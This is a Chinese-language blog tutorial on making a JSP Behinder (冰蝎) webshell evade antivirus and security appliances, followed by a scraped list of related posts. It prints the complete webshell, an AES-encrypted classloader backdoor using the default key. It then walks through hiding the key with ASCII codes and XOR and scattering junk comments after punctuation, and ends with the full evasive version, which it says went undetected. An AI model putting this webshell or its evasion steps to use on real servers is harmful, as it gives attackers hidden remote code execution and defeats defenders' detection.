Webshell免杀-JSP
前言
在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限。然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全设备拦截,因此对webshell文件进行免杀操作是不可或缺的。本处仅对jsp类型的webshell文件进行一个冰蝎马免杀思路的介绍。
思路
在对webshell文件进行免杀操作之前首先得明白,有哪些操作能够使得webshell文件具有免杀的属性。
1、增加注释
2、增加不重要的代码段
3、对代码进行混肴加密
4、对代码进行拆分重组
5、增加反射
……………………
免杀方式千千万,总有一款适合你。简而言之,搞到最后,自己都读不懂自己的代码的时候,恭喜你,免杀了!
本篇文章仅对冰蝎马的免杀方式做一个简单的介绍,主要是介绍免杀jsp马子时候的思路实现。
测试
首先看一个常规的jsp的冰蝎马的代码。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
其在一行里面将整个代码都写了出来,那是相当的乱啊。不过,先看看他的免杀性如何?
对于这个结果也是意料之中,情理之中的了。
咱们先对冰蝎马进行一个格式化的操作,有便于去理解修改,顺手把里面的注释也给删掉。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}
}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}%>
直观的看上去,哪儿最好搞捏?当然是k这里呀!
我们把k里面的数值用ascall码一个一个对照输出出来,虽然完成的结果是一样的,但是多少能够限制杀软理解马子的步伐的吧。
那么问题来了,“e45e329feb5d925b”的ascall值是多少?掰开对照表一个一个看?不可能,绝对不可能,能用代码解决的问题,绝对不可能动手!
这里是一个python的转换代码
s = 'e45e329feb5d925b'
a = []
for i in s:a.append(ord(i))
print(a)
输出结果为
[101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]{101, 52, 53, 101, 51, 50, 57, 102, 101, 98, 53, 100, 57, 50, 53, 98}
for (int i=0;i < ee.length;i++) {k=k+ (char) ee[i];
}
经过这样一个转换之后,k的值就会等于“e45e329feb5d925b“,那么这样就OK了嘛?NONONO!
既然都已经转换成ascall码了,那就再做个异或的操作吧。
python的异或代码
s = 'e45e329feb5d925b'
a = []
for i in s:a.append(ord(i))
for i in range(0, len(a)):a[i] = a[i] ^ 0x010
print(a)
输出结果为
[117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114]
那么现在就可以把k的部分改成
String k="";
int[] ee=new int[]{117, 36, 37, 117, 35, 34, 41, 118, 117, 114, 37, 116, 41, 34, 37, 114}
for (int i=0;i < ee.length;i++) {ee[i]=ee[i] ^ 0x010;k=k+ (char) ee[i];
}
这么一通操作下来,你以为就能免杀了嘛?免杀哪有那么轻松。
不过可以祭出终极杀招,百试百灵---加注释。
这个加注释可不是加一条两条就可以的,也不是随便加都行的。经过测试,必须加在标点符号之后,于是乎在所有.和,之间都加上注释,代码变成了
<%@page import="java./*YDjdiejmPL*/util./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/*,/*ksafjKJOIldk*/javax./*YDjdiejmPL*/crypto./*YDjdiejmPL*/spec./*YDjdiejmPL*/*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super./*YDjdiejmPL*/defineClass(b,/*ksafjKJOIldk*/0,/*ksafjKJOIldk*/b./*YDjdiejmPL*/length);}
}%>
<%if (request./*YDjdiejmPL*/getMethod()./*YDjdiejmPL*/equals("POST")){String k="";int[] ee=new int[]{117,/*ksafjKJOIldk*/ 36,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 35,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 118,/*ksafjKJOIldk*/ 117,/*ksafjKJOIldk*/ 114,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 116,/*ksafjKJOIldk*/ 41,/*ksafjKJOIldk*/ 34,/*ksafjKJOIldk*/ 37,/*ksafjKJOIldk*/ 114}for (int i=0;i < ee./*YDjdiejmPL*/length;i++) {ee[i]=ee[i] ^ 0x010;k=k+ (char) ee[i];}session./*YDjdiejmPL*/putValue("u",/*ksafjKJOIldk*/k);Cipher c=Cipher./*YDjdiejmPL*/getInstance("AES");c./*YDjdiejmPL*/init(2,/*ksafjKJOIldk*/new SecretKeySpec(k./*YDjdiejmPL*/getBytes(),/*ksafjKJOIldk*/"AES"));new U(this./*YDjdiejmPL*/getClass()./*YDjdiejmPL*/getClassLoader())./*YDjdiejmPL*/g(c./*YDjdiejmPL*/doFinal(new sun./*YDjdiejmPL*/misc./*YDjdiejmPL*/BASE64Decoder()./*YDjdiejmPL*/decodeBuffer(request./*YDjdiejmPL*/getReader()./*YDjdiejmPL*/readLine())))./*YDjdiejmPL*/newInstance()./*YDjdiejmPL*/equals(pageContext);
}%>
现在再看看捏?
没有一丝丝的防备~!就免杀了。
附一张之前跑的沙箱结果
jsp的免杀里面还可以加上反射,然后再加上异或之类的操作就更好了。不过弟弟反射没学好,这边就不献丑了。
END
Webshell免杀-JSP相关推荐
- JSP webshell免杀——JSP的基础
唉,每次开启JSP都要好一会儿. 话说我也不知道为啥,我的每次开启条件一次比一次苛刻.一开始必应就可以打开,再后来只能由谷歌打开,现在可好了得开着代理用谷歌才能进去. 一个JSP页面可由5种元素组合而 ...
- Webshell免杀绕过waf
转自圈子404师傅 0x01 前言# 尽最大努力在一文中让大家掌握一些有用的WEBSHELL免杀技巧 0x02 目录# 关于eval 于 assert 字符串变形 定义函数绕过 回调函数 回调函数变形 ...
- Webshell免杀研究
前一个阶段闲着没事干,所以将之前做的关于webshell免杀的一篇研究性文章发表了出来,供大家一起学习探讨,文章目录如下,目前已发表与先知社区,欢迎探讨交流~ 文章链接:https://xz.aliy ...
- webshell免杀的一些学习和思考——以PHP为例
目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...
- JSP webshell免杀——webshell免杀
好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...
- 【网络安全】一些webshell免杀的技巧
前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...
- 流包装器实现WebShell免杀
说明: 本文首发自 https://www.secpulse.com/archives/73391.html ,转载请注明出处. 前言 本文是看PHP使用流包装器实现WebShell有感,权当做个笔记 ...
- Webshell免杀-PHP
前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...
- 免杀实战之面向PHP的WebShell免杀
0X00普通的一句话木马 <pre id="PTXkG"><?php eval($_POST['a']); ?> //函数的相似替换 <?php as ...
最新文章
- freemarker-ide eclipse安装地址 安装方法 页面静态化
- 接上篇-找虚拟主机过程
- java怎么更改目标文件夹_java – IntelliJ无法同步目标文件夹中的更改
- 深度学习 点积的概念
- wxWidgets:wxURI类用法
- 如何利用PHP会话显示出当前在线的用户
- ROS笔记(31) ArbotiX关节控制器
- Soul网关源码阅读(七)限流插件初探
- [论文阅读] Stereoscopically Attentive Multi-scale Network for Lightweight Salient Object Detection
- 计算机英语邓广慧,地方高校理工类大学生专业英语教学改革探讨
- Unbuntu环境编译 Android平台可用ffmpeg(带三方库fdk-aac和lame)
- Markdown文档数学公式的使用
- opencv + contrib windows下源码编译
- ping通www.baidu.com的完整过程。
- 实例解析网络钓鱼攻击的幕后
- 雷赛dmc2410控制卡,驱动器 光栅 加电机
- Android Toast 自定义显示时长
- 一个诡异的问题的解决20211008
- 一文搞懂:FT、DTFT、DFT、IDFT
- 中国网络安全相关政策法规(2020第一季度)
热门文章
- 【图像分割】FCMKFCM MRI图像分割【含GUI Matlab源码 582期】
- Android--Wifi 基本结构
- 解决GitHub release下载慢、clone和push慢的问题
- java soa是什么_如何通俗易懂地解释什么是SOA?
- 五种让你一键关机的技巧经验技巧
- 产品范围与项目范围的联系与区别
- Migrate DB data using expdp/impdp
- 大型Android项目架构:基于组件化+模块化+Kotlin+协程+Flow+Retrofit+Jetpack+MVVM架构实现WanAndroid客户端
- 如何在微前端中加载 Vite 应用?
- 研发团队的绩效考核(一)